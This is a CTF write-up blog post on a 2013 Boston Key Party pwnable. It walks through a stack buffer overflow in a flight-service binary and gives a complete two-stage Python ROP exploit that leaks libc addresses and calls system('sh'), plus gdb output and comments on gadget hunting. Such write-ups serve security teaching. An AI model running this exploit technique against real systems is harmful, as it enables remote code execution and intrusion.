Vulnerabilities

Tuesday, June 11, 2013

Boston Key Party CTF 2013 - Pwnable 200 - fss_gainesville - [Team xbios]

We were given a ELF 64-bit LSB executable. Its running on 50.112.133.81 30002. After analysing the binary, we found a buffer overflow vulnerability in pirep() function. This is how to trigger the vulnerability
(gdb) run 
 Welcome to Florida Gainesville Radio Flight Service Station

Would you like to: 
1) File a flight plan
2) Open or Close a flight plan
3) List flight plans on file
4) Get airport weather information
5) Submit a PIREP
6) Quit
> 5
Please enter coded PIREP: UB /OV OKC /TM 1522 /FL 080 /TP CE172 / AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC
Invalid Report Type, consult documentation

Program received signal SIGSEGV, Segmentation fault.
0x000000000040171c in pirep ()
(gdb) info registers
rax            0x2b 43
rbx            0x0 0
rcx            0xffffffff 4294967295
rdx            0x38b7d7ae10 243602533904
rsi            0x7ffff7ffc000 140737354121216
rdi            0x0 0
rbp            0x4242424242424242 0x4242424242424242
rsp            0x7fffffffe128 0x7fffffffe128
r8             0x542074726f706552 6061973133285418322
r9             0x6e6f63202c657079 7957688056421904505
r10            0x636f6420746c7573 7165055622724744563
r11            0x246 582
r12            0x400820 4196384
r13            0x7fffffffe230 140737488347696
r14            0x0 0
r15            0x0 0
rip            0x40171c 0x40171c <pirep+487>
eflags         0x10206 [ PF IF RF ]
cs             0x33 51
ss             0x2b 43
ds             0x0 0
es             0x0 0
fs             0x0 0
gs             0x0 0
(gdb) x/i $rip
=> 0x40171c <pirep+487>: retq
Sending a PIREP in proper format with 160 bytes overwrites saved RIP. Input is taken using read function as read(0, $RBP-0x90, 0x400). NX, stack and libc ASLR are enabled. We need to built a ROP payload to bypass these protections. Along with the binary, we also have the libc library used in the remote machine. Here is the plan of the exploit:

[*] Compute the offset difference between __libc_start_main and system functions from the given libc.so.6 file
[*] Leak randomized address of __libc_start_main from the GOT entry of the executable
[*] Add the offset to the leaked address, this will give the address of randomized system function
[*] Load the registers with needed arguments, x86-64 uses different calling convention
[*] Jump into system function in libc to execute commands

To load register EDI .ie argument number 1, I used the below gadget
0x004018b0 : mov edi, dword [rsp+0x30] ; add rsp, 0x38 ; ret
Since I couldn't find much gadgets to load other registers, puts() function was used for information leak. Unlike write(), puts() takes only one argument, so its enough to load register EDI with the GOT address of __libc_start_main. Here is the exploit structure

Stage ONE:
[*] Overwrite RBP with .bss address
[*] Overwrite RIP with address of gadget mov edi, dword [rsp+0x30] ; add rsp, 0x38
[*] Fill stack such that EDI is loaded with GOT address of __libc_start_main
[*] Return into address 0x0040174a, this is call to puts() in main() function. This also results in code replay
[*] Call to puts(), will leak address of randomized __libc_start_main

Stage TWO:
[*] RBP is restored to stack due to call of pirep() again from main()
[*] Fill stack using read(0, $RBP-0x90, 0x400) such that saved RIP points to gadget mov edi, dword [rsp+0x30] ; add rsp, 0x38
[*] Load EDI with the address of "sh" string
[*] Compute address of system function(leaked address + offset) and return into this address

Below is the exploit:
#!/usr/bin/env python

import struct
import socket

ip = "50.112.133.81"
port = 30002

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))
print soc.recv(1024)

libc_start_main = 0x0000000000021680
system = 0x0000000000045660
got_libc_start_main = 0x000000602240

PIREP = "UB /OV OKC /TM 1522 /FL 080 /TP CE172 / " # PIREP format
option = "5"
JUNK = "MOVEMOVE"

################################# stage 1 ####################################

print soc.recv(1024)
soc.send(option + "\n")
print soc.recv(1024)

payload  = PIREP
payload += "A" * 104
payload += struct.pack("<Q", 0x006022a0) # .bss address for RBP
payload += struct.pack("<Q", 0x004018b0) # mov edi, dword [rsp+0x30] ; add rsp, 0x38
payload += JUNK * 6
payload += struct.pack("<Q", got_libc_start_main)
payload += struct.pack("<Q", 0x0040174a) # replay code from call to puts() in main()

soc.send(payload + "\n")
leak = soc.recv(1024)
addr = struct.unpack("<Q", leak[43:49] + "\x00\x00")[0]
print hex(addr)

################################# stage 2 ####################################

print soc.recv(1024)
soc.send(option + "\n")
print soc.recv(1024)

payload2  = PIREP
payload2 += "A" * 104
payload2 += struct.pack("<Q", 0x006022a0) # .bss address for RBP
payload2 += struct.pack("<Q", 0x004018b0) # mov edi, dword [rsp+0x30] ; add rsp, 0x38
payload2 += JUNK * 6
payload2 += struct.pack("<Q", 0x0040046e) # addr of sh string
payload2 += struct.pack("<Q", (system - libc_start_main) + addr) # address of system

soc.send(payload2 + "\n")
soc.send("cat flag\n")
print repr(soc.recv(1024))
[ctf@renorobert fss_gainesville]$ python exploit.py
 Welcome to Florida Gainesville Radio Flight Service Station

Would you like to: 
1) File a flight plan
2) Open or Close a flight plan
3) List flight plans on file
4) Get airport weather information
5) Submit a PIREP
6) Quit

> 
Please enter coded PIREP: 
0x7f732a1a5680
> 
Please enter coded PIREP: 
'this_sexy86_n0t_mucho_2_$ay_:|\n'
The flag for the challenge is this_sexy86_n0t_mucho_2_$ay_:|

2 comments:

  1. How do you find the gadget mov edi, dword [rsp+0x30] ? any tools?

    ReplyDelete
    Replies
    1. Yeah, I generally use rp++ to find the gadgets
      https://github.com/0vercl0k/rp

      You also have the gadget to load esi (ie argument 2)
      (gdb) x/10i 0x004018ab
      0x4018ab <__libc_csu_init+123>: mov esi,DWORD PTR [rsp+0x28]
      0x4018af <__libc_csu_init+127>: mov r15,QWORD PTR [rsp+0x30]
      0x4018b4 <__libc_csu_init+132>: add rsp,0x38
      0x4018b8 <__libc_csu_init+136>: ret

      (gdb) x/10i 0x004018b0
      0x4018b0 <__libc_csu_init+128>: mov edi,DWORD PTR [rsp+0x30]
      0x4018b4 <__libc_csu_init+132>: add rsp,0x38
      0x4018b8 <__libc_csu_init+136>: ret

      Both these gadgets are part of __libc_csu_init. So I think it will be found in all executables

      Delete